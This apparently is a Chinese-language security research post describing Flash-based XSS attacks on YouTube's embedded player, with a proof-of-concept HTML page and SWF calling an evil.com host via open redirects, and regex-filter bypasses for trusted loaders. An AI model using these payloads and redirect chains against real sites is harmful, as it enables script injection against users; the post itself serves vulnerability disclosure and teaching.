Flash漏洞的死灰復燃4

Youtube以 youtube.com/embed/[VIDEO_ID] 的地址形式提供了 HTML5 API。當 iframe 開始載入時,它會首先檢查瀏覽器是否支持 HTML5 播放器。如果不行的話,它會退回成 flash 播放器。不過用戶也可在 url 中使用 nohtml5=1 參數來強制使用 flash 播放器。

這是大致流程:

如果你用我們[第一部分]的實例和這一個作對比,你會發現 iframe"Youtube Embed"實質上代替了"Youtube Wrapper",Flash/javascript 轉換API也被換成了更加現代化的 postMessage 和 sharedEvent。換個角度來想,Flash 和 HTML5 都提供了類似的功能,只是實現不一樣罷了。

Youtube的Flash API和iframe API十分相似。瀏覽器也因此實現了一個奇葩的行為,它們會自動把

<object data=」youtube.com/v/[VIDEO_ID]」>n(Youtube Flash api)替換成<objectndata=」youtube.com/embed/[VIDEO_ID]」>(Youtube iframe api) 以強制將網站的Flash換為html5n

觸發 Youtube 上基於 Flash 的 XSS 不一定要直接從主站,在這裡,我們將介紹如何利用命令發送功能(如 playVideo() ,pauseVideo() )攻陷Flash文件。

基於loadPlaylist的XSS

loadPlaylist() 允許 youtube 的 iframe 載入一個播放列表。它的參數一般為 Youtube 的某個播放列表 id 或者一個包含 Youtube 視頻 ID 的數組。當選擇使用數組時,我們還可以給每個視頻注入預覽圖片 url。

Flash也用 Loader.load 載入圖像(和載入外部Flash文件 一樣),我們可以將圖片URL替換為swf 文件,原本用來載入 Loader.load 現在則會執行 swf。不過主程序會先檢查一遍該 URL 是否在 youtube.com 域上,再載入該 URL。所幸的是,谷歌並不會修復 URL 任意跳轉漏洞。我們便可以使用 youtube 的跳轉功能完成攻擊。雖然 Youtube 只能重定向用戶到 google.com,但我進一步利用了谷歌的任意跳轉來達到目的:

accounts.youtube.com/ac。當Youtube.com/embed/XXX載入了evil.swf,我們就可以使用自己的XSS payload了。

默認情況下,Flash只給同一個域名下的Flash開啟Flash/js轉換API。但youtube.com/embed/[VIDEO_ID] <object>標籤使用了屬性 allowscriptaccess=always (對任意Flash開啟Flash/js轉換API)

這是PoC的大致流程:

evil.com/evil.html源代碼:

<!DOCTYPE html>n<html>n<body>n<!-- 降級Youtube iframe html5播放器為Flash播放器n-->n<iframe id="player"nsrc="https://www.youtube.com/embed/?nohtml5=1"></iframe>n<script>n// 延遲5秒,讓 Youtube iframe 完全載入nsetTimeout(nfunction(){n// 用postMessage發送loadPlaylist和預覽圖像鏈接命令給Youtube iframendocument.getElementById("player").contentWindow.postMessage({"command":"loadPlaylist","data":[{"video_id":"xyz","iurl":"https://accounts.youtube.com/accounts/SetSID?continue=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fevil.com%2Fevil.swf"}]},n"*");n}n, 5000);n</script>n</body>n</html>n

evil.swf源代碼:

public class Main extends Sprite {npublic function Main(){n// 用Flash/js轉換API執行XSSnExternalInterface.call("alert", "document.domain + nXSSed!");n}n}n

攻擊場景:

要求:目標開啟了Flash player

  1. 目標瀏覽evil.com/evil.html
  2. evil.html載入youtube.com/embed iframe
  3. evil.com發送payload
  4. youtube.com/embed載入了evil.swf
  5. evil.comyoutube.com/embed中執行了XSS

trustedLoader正則表達式引起的血案

除了像 playVideo 和 loadPlaylist 這類的公開命令外,Youtube也有許多私有命令。不過它們只能被驗證過的源載入(比方說google

drive)。往往程序用了一個正則去過濾,如下:

public static const trustedLoader:RegExp = newnRegExp("^https?://((www.|encrypted.)?google(.com|.co)?.[a-z]{2,3}/(search|webhp)?|24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf|www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris|tpc.googlesyndication.com/safeframe/|lightbox-(demos|builder).appspot.com/|([A-Za-z0-9-]{1,63}.)*(imasdk.googleapis.com|corp.google.com|borg.google.com|docs.google.com|drive.google.com|googleads.g.doubleclick.net|googleplex.com|play.google.com|prod.google.com|sandbox.google.com|photos.google.com|picasaweb.google.com|lh2.google.com|plus.google.com|books.googleusercontent.com|mail.google.com|talkgadget.google.com|survey.g.doubleclick.net|youtube.com|youtube.googleapis.com|youtube-nocookie.com|youtubeeducation.com|vevo.com)(:[0-9]+)?([/?#]|$))");n

在讀餘下的文章之前,我強烈建議讀者先試著找出上面這條式子的錯誤

--------------------餘下正文----------------------

`.`(點)在正則表達式中代表著通配符。如果你想匹配一個普通的點,那麼你要用`.`的方式escape。

在trustedLoader的正則中,我們發現了如下代碼:

24e12c4a-a-95274a9c-s-sites.googlegroups.com

注意到了嗎?這裡的點並不表示匹配`.`符號(而是一個通配符)。哪怕傳遞的是不被谷歌控制的url(比如 24e12c4a-a-95274a9c-s-sitesAgooglegroups.com ,注意大寫的A),它也會返回true。

我花了一美刀買下了這個域名,再讓 swf 調用私有命令 updateVideoData() 來任意執行命令。因為 updateVideoData 的工作原理和 loadPlaylist 類似,我就不再放上PoC了。

trustedLoader,再一次!

我們再來看看其他表達式:`google(.com|.co)?.[a-z]{2,3}`

很遺憾,我們可以輕鬆繞過這一防禦:`google.com.fun`

以及這個:www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris

正則本身沒有問題,然而www.gstatic.com存在許多XSS。我們能通過XSS讓 gstatic.com/doubleclick 載入 Youtube 的 iframe,最後發送 updateVideoData() 來X站。

這是大概的工作流程:

前提:目標安裝了Flash並打開 gstatic.com/charts/moti[javascript代碼]

  1. js代碼先讓 www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf 載入了一個到` https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris 的iframe
  2. js代碼再讓 gstatic.com/doubleclick 載入一個倒 youtube 的 iframe。
  3. iframe發送一個 updateVideoData()。過濾器沒有檢測出異常,並接受了請求
  4. 主程序載入了惡意Flash,成功地執行了XSS

推薦閱讀:

GitHub 萬星推薦:黑客成長技術清單
網站被「黑」了,域名商這鍋你別想甩!!!
陳學理:他做了15年安全,為什麼要去做運動頭盔?
如何Unlock一輛汽車?一個可以無線解鎖百萬輛汽車的研究成果
Tor Project Opens Bounty Program To All Researchers

TAG:XSS | Web安全测试 | 网络安全 |